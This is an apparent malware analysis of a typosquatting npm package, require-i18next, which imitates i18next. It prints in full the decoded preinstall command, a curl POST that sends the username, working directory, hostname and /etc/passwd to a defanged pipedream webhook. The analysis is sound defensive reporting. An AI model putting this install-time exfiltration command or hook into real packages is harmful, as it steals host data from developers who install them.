require-i18next@20.0.0

Analysis

The preinstall hook (node preinstall.js) reads a hex-encoded command from a bundled preinstall.json, decodes it, and executes it with child_process.exec. The decoded command runs `curl hxxps://eobdzec83knbura[.]m[.]pipedream[.]net -d "whoami=`whoami`&pwd=`pwd`&hostname=`hostname`&passwd=`cat /etc/passwd`"`, POSTing the host's username, working directory, hostname, and the contents of /etc/passwd to a remote pipedream[.]net webhook endpoint during installation. The package name impersonates the legitimate i18next library.